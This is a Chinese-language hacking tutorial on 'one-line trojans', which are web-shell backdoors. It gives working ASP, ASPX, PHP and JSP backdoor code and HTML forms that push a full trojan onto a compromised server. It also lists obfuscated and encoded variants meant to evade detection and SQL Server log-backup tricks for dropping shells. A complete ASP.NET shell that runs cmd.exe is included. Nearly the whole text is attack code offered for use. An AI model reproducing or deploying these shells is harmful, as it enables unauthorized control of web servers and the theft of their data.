一句話木馬的工作原理:一句話木馬分析服務(wù)端與客戶端。
'一句話木馬'服務(wù)端(是用于本地的html提交腳本木馬文件) 就是我們要用來插入到asp文件中的asp語句,(不僅僅是以asp為后綴的數(shù)據(jù)庫文件),該語句將回為觸發(fā),接收入侵者通過客戶端提交的數(shù)據(jù),執(zhí)行并完成相應(yīng)的操作,服務(wù)端的代碼內(nèi)容為 <%execute request('value')%> 其中value可以自己修改
'一句話木馬'客戶端(遠(yuǎn)程服務(wù)器上被插入一句話的asp可執(zhí)行文件) 用來向服務(wù)端提交控制數(shù)據(jù)的,提交的數(shù)據(jù)通過服務(wù)端構(gòu)成完整的asp功能語句并執(zhí)行,也就是生成我們所需要的asp木馬文件
一句話木馬的適用環(huán)境:
1.服務(wù)器的來賓賬戶有寫入權(quán)限 2.已知數(shù)據(jù)庫地址且數(shù)據(jù)庫格式為asa或asp 3.在數(shù)據(jù)庫格式不為asp或asa的情況下,如果能將一句話插入到asp文件中也可
現(xiàn)在先假設(shè)在遠(yuǎn)程主機(jī)的TEXT.ASP(客戶端)中已經(jīng)有了<%execute request('value')%>這個(gè)語句.)在ASP里<%execute ............')%>意思是執(zhí)行省略號(hào)里的語句.那么如果我寫進(jìn)我們精心構(gòu)造的語句,它也是會(huì)幫我們執(zhí)行的.就按照這上面的思路,我們就可以在本地構(gòu)造一個(gè)表單內(nèi)容如下:(//為注釋)
- <form action=http://主機(jī)路徑/TEXT.asp method=post>
-
- <textarea name=value cols=120 rows=10 width=45>
-
- set lP=server.createObject('Adodb.Stream')//建立流對(duì)象
- lP.Open //打開
- lP.Type=2 //以文本方式
- lP.CharSet='gb2312' //字體標(biāo)準(zhǔn)
- lP.writetext request('newvalue')
-
- lP.SaveToFile server.mappath('newmm.asp'),2 //將木馬內(nèi)容以覆蓋文件的方式寫入newmm.asp,2就是已覆 蓋的方式
- lP.Close //關(guān)閉對(duì)象
- set lP=nothing //釋放對(duì)象
- response.redirect 'newmm.asp' //轉(zhuǎn)向newmm.asp
-
- </textarea>
-
- <textarea name=newvalue cols=120 rows=10 width=45>添入生成木馬的內(nèi)容</textarea><BR><center><br>
- <input type=submit value=提交>
-
- </form>
-
表單的作用就是把我們表單里的內(nèi)容提交到遠(yuǎn)程主機(jī)的TEXT.ASP這個(gè)文件.然后因?yàn)門EXT.ASP里有<%execute request('value')%>這句,那么這句代碼就會(huì)執(zhí)行我們從表單里傳來的內(nèi)容哦.(表單名必須和<%execute request('value')%>里的VALUE一樣,就是我用藍(lán)色標(biāo)記的那兩處,必須相等)
說到這里大家是不是清楚了.我們構(gòu)造了兩個(gè)表單,第一個(gè)表單里的代碼是文件操作的代碼(就是把第二個(gè)表單內(nèi)的內(nèi)容寫入在當(dāng)前目錄下并命名為newvalue.ASP的這么一段操作的處理代碼)那么第二個(gè)表單當(dāng)然就是我們要寫入的馬了.
具體的就是下面這一段:
- set lP=server.createObject('Adodb.Stream')//建立流對(duì)象
- lP.Open //打開
- lP.Type=2 //以文本方式
- lP.CharSet='gb2312' //字體標(biāo)準(zhǔn)
- lP.writetext request('newvalue')
-
- lP.SaveToFile server.mappath('newvalue.asp'),2 //將木馬內(nèi)容以覆蓋文件的方式寫入newmm.asp,2就是已覆 蓋的方式
- lP.Close //關(guān)閉對(duì)象
- set lP=nothing //釋放對(duì)象
- response.redirect 'newmm.asp' //轉(zhuǎn)向newmm.asp
-
這樣的話第二個(gè)表單的名字必須和lP.writetext request('newvalue') 里的Newvalue一樣,就是我用紅色標(biāo)注的那兩處. 至此只要服務(wù)器有寫的權(quán)限你表單所提交的大馬內(nèi)容就會(huì)被寫入到newmm.asp中。即newmm.asp為我們的shell地址。
關(guān)于服務(wù)器錯(cuò)誤:
經(jīng)常,當(dāng)我們?cè)谝粋€(gè)asp文件內(nèi)添加了一句話后,就會(huì)出現(xiàn)類型不匹配的錯(cuò)誤:
- Script error detected at line 1.
- Source line: execute request('nettoo')
- Description: 類型不匹配: 'execute'
這個(gè)如何解決呢? 想出了一個(gè)好辦法,只要用'eval'替換掉'execute'服務(wù)端,就不會(huì)出錯(cuò)了! 用一句話客戶端連接,加入容錯(cuò)語句,你可以把它插入到任何ASP文件而不會(huì)像以前一樣出錯(cuò)。 <%On Error Resume Next execute request('value')%>
常見asp一句話木馬的變體:
- <%set ms = server.CreateObject('MSScriptControl.ScriptControl.1')
- ms.Language='VBScript'
- ms.AddObject 'Response', Response
- ms.AddObject 'request', request
- ms.AddObject 'session', session
- ms.AddObject 'server', server
- ms.AddObject 'application', application
- ms.ExecuteStatement ('ex'&'ecute(request(chr(35)))')%>
-
<%ExecuteGlobal request(chr(35))%>
<%ExecuteGlobal request(chr(35))%>
<%execute request('#')%>
<%execute request(chr(35))%>
<script language=VBScript runat=server>if request(chr(35))<>'''' then ExecuteGlobal request(chr(35)) </script>
<%ExecuteGlobal request(chr(35))%> 9月30日
<%eval request('#')%>
數(shù)據(jù)庫里插入 ┼攠數(shù)畣整爠煥敵瑳∨∣┩愾
utf-7的馬 <%@ codepage=65000%> <% response.Charset='936'%> <%e j-x j-e j-c j-u j-t j-e j-( j-r j-e j-q j-u j-e j-s j-t j-( j- ACI-# ACI) j-) j-%>
<%set ms = server.CreateObject('MSScriptControl.ScriptControl.1') ms.Language='VBScript' ms.AddObject 'Response', Response ms.AddObject 'request', request ms.AddObject 'session', session ms.AddObject 'server', server ms.AddObject 'application', application ms.ExecuteStatement ('ex'&'ecute(request(chr(35)))')%>
<%@ LANGUAGE = VBScript.Encode %> <%#@~^PgAAAA==r6P. ;! /D`14Dv&X#*@!@*ErPPD4 P2Xn^ED VVG4Cs,Dn;!n/D`^4M`&Xb*oBMAAA==^#~@%>
各種環(huán)境下的一句話木馬:
aspx
1.相當(dāng)于ASP的一句話木馬:
程序代碼
alter database pubs set RECOVERY FULL-- create table pubs.dbo.cmd(a image) backup log pubs to disk = 'c:/TM' with init insert into pubs.dbo.cmd(a) values ('<%@ Page Language='C#' validateRequest='false' %><%System.IO.StreamWriter ow=new System.IO.StreamWriter(Server.MapPath('images.aspx'),false);ow.Write(Request.Params['l']);ow.Close()%> ') backup log pubs to disk = 'd:/test11.aspx' //這個(gè)和asp的一樣,客戶端post一個(gè)變量l 把木馬代碼丟在變量l里面就ok了 這個(gè)是類似asp的一句話木馬。 //mu.aspx.htm 客戶端:(提交后訪問:http://IP/images.aspx)
- <form action=http://192.168.2.100/asp/mu.aspx method=post>
- <b>在下面輸入大馬內(nèi)容:</b><br>
- <textarea name=l cols=120 rows=35 width=45>
- <%@ Page Language='VB' Debug='true' %>
- <%@ import Namespace='system.IO' %>
- <%@ import Namespace='System.Diagnostics' %>
- <script runat='server'>
- Sub RunCmd(Src As Object, E As EventArgs)
- Dim myProcess As New Process()
- Dim myProcessStartInfo As New ProcessStartInfo(xpath.Text)
- myProcessStartInfo.UseShellExecute = False
- myProcessStartInfo.RedirectStandardOutput = true
- myProcess.StartInfo = myProcessStartInfo
- myProcessStartInfo.Arguments=xCmd.text
- myProcess.Start()
- Dim myStreamReader As StreamReader = myProcess.StandardOutput
- Dim myString As String = myStreamReader.Readtoend()
- myProcess.Close()
- mystring=replace(mystring,'<','<')
- mystring=replace(mystring,'>','>')
- result.text= vbcrlf & '<pre>' & mystring & '</pre>'
- End Sub
- </script><html><head>
- <title>ASP.NET Shell for WebAdmin2.X Final</title>
- <meta http-equiv='Content-Type' c /></head><body>
- <form runat='server'>
- <asp:Label id='L_p' style='COLOR: #0000ff' runat='server' width='80px'>;Program</asp:Label>
- <asp:TextBox id='xpath' style='BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid' runat='server' Width='300px'>c:/windows/system32/cmd.exe</asp:TextBox><br />
- <asp:Label id='L_a' style='COLOR: #0000ff' runat='server' width='80px'>Arguments</asp:Label>
- <asp:TextBox id='xcmd' style='BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; BORDER-BOTTOM: #084b8e 1px solid' runat='server' Width='300px' Text='/c net user'>/c net user</asp:TextBox><br />
- <asp:Button id='Button' style='BORDER-RIGHT: #084b8e 1px solid; BORDER-TOP: #084b8e 1px solid; BORDER-LEFT: #084b8e 1px solid; COLOR: #ffffff; BORDER-BOTTOM: #084b8e 1px solid; BACKGROUND-COLOR: #719bc5' runat='server' Width='100px' Text='Run'></asp:Button><p>
- <asp:Label id='result' style='COLOR: #0000ff' runat='server'></asp:Label> </p></form></body></html>
- </textarea><BR><center><br>
- <input type=submit value=提交>
2、下面這個(gè)是我找網(wǎng)上的asp.net的上傳文件程序,修改精簡(jiǎn)了下,也可以用:
程序代碼
drop table pubs.dbo.cmd alter database pubs set RECOVERY FULL create table pubs.dbo.cmd(a image) backup log pubs to disk = 'c:/TM' with init insert into pubs.dbo.cmd(a) values ('<script language='c#' runat='server'>private void bc(object o,EventArgs e) {string u='files';string filename;int pos=f.PostedFile.FileName.LastIndexOf('//');filename=f.PostedFile.FileName.Substring(pos 1);f.PostedFile.SaveAs(Server.MapPath(u) '//' filename);}</script><form method='post' runat='server'><input type='file' id='f' runat='server'/><input type='submit' value='ss' runat='Server' /></form>') backup log pubs to disk = 'c:/inetpub/wwwroot/test11.aspx'
PHP
本文沒有什么特別之處,僅求拋磚引玉。并送給和我一樣菜的在PHP門邊徘徊的朋友。 剛學(xué)PHP沒幾天,我就急于功成,所以有錯(cuò)誤及不足之處請(qǐng)大家積極指出。 PHP語法的強(qiáng)大是ASP望塵莫及的,僅一個(gè):<? phpinfo();?>就可以刺探整個(gè)服務(wù)器的配置。運(yùn)行cmd,上傳文件等,都是非常簡(jiǎn)便的,現(xiàn)在用的好的PHP木馬,莫過于angel的phpspy了。昨天hak_ban問怎么給PHP木馬加密,我還沒想到,但是對(duì)于寫一個(gè)微型PHP木馬,我想還是很難被殺的。 這里簡(jiǎn)單探討一下幾個(gè)函數(shù)可以作為木馬的使用:
1. 可以運(yùn)行外部命令的幾個(gè)函數(shù):system,passthru,exec,shell_exec,popen。 例:只要將<?system($cmd);?>等保存為cmd.php及可實(shí)現(xiàn)運(yùn)行外部命令的功能。這幾個(gè)函數(shù)可以說是最早的微行php木馬了,所以一般虛擬主機(jī)的設(shè)置也會(huì)將這些函數(shù)屏蔽的。
2.還記得WDB論壇的style.php的漏洞嗎?我們可以利用這個(gè)做個(gè)很難被殺的小木馬。如下:
- <?php include($include);?>
將其保存為1.php ,我們就可以調(diào)用其他不支持php服務(wù)器里的.php木馬(如phpspy.php)來達(dá)到我們的目的:http:///1.php? Include=http://www./phpspy.php 這里http://www.是不支持php的,否則將會(huì)在http://www.這臺(tái)服務(wù)器運(yùn)行phpspy.php,而不是目標(biāo)服務(wù)器。
3. 這個(gè)還是angel在Discuz 2.2F的攻擊中給我們的一個(gè)非常好的上傳木馬,我沒有改:
- <?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
將其保存為up.php后,在本地提交表單:
- <form ENCTYPE='multipart/form-data' ACTION='http://目標(biāo)服務(wù)器/up.php' METHOD='POST'>
- <input NAME='MyFile' TYPE='file'>
- <input VALUE=' 提交 ' TYPE='submit'>
- </form>
就可以把大個(gè)的php木馬上傳上去。
4. 我一直在想有沒有同冰狐浪子的那個(gè)ASP一句話木馬一樣通過本地表單提交運(yùn)行的PHP木馬。終于找到了函數(shù):eval,在PHP4中文參考手冊(cè)上它的語法說明: 語法: void eval(string code_str); 內(nèi)容說明:本函數(shù)可將字符串之中的變量值代入,通常用在處理數(shù)據(jù)庫的資料上。參數(shù) code_str 為欲處理的字符串。值的 注意的是待處理的字符串要符合 PHP 的字符串格式,同時(shí)在結(jié)尾處要有分號(hào)。使用本函數(shù)處理后的字符串會(huì)沿續(xù)到 PHP 程序結(jié)束。
我們可以在目標(biāo)主機(jī)上保存:<?eval($cmd);?>為一個(gè)PHP文件(我想也可以插在PHP任意文件里)。然后通過本地提交來達(dá)到目的,但與ASP不同的是,在magic_quotes_gpc = on的時(shí)候,過濾的很多的字符,使得這個(gè)使用功能大大的縮小。
對(duì)于這個(gè)PHP木馬本地表單我做了很多次,還沒有成熟的代碼。還請(qǐng)高手指教。寫好后會(huì)奉獻(xiàn)給大家的。但是eval這個(gè)函數(shù)可以做微型PHP木馬是無須質(zhì)疑的。 Ps:寫完后,有人告訴我,其實(shí)高手早就有微型的PHP木馬了,只是沒有公開。哎,我好郁悶啊,研究的都是人家早就有了的成果。不管怎么樣,和大家分享一下我的研究,希望能得到幫助和指教。
JSP
- <%
- if(request.getParameter('f')!=null)(new java.io.FileOutputStream(application.getRealPath('//') request.getParameter('f'))).write(request.getParameter('t').getBytes());
- %>
這個(gè) 后門估計(jì)不用我說了吧.還是提示一下咯.保存為1.jsp 提交url!
http://localhost/1.jsp?f=1.txt&t=hello
然后:http://localhost/1.txt 就出來了 內(nèi)容為 hello .....
|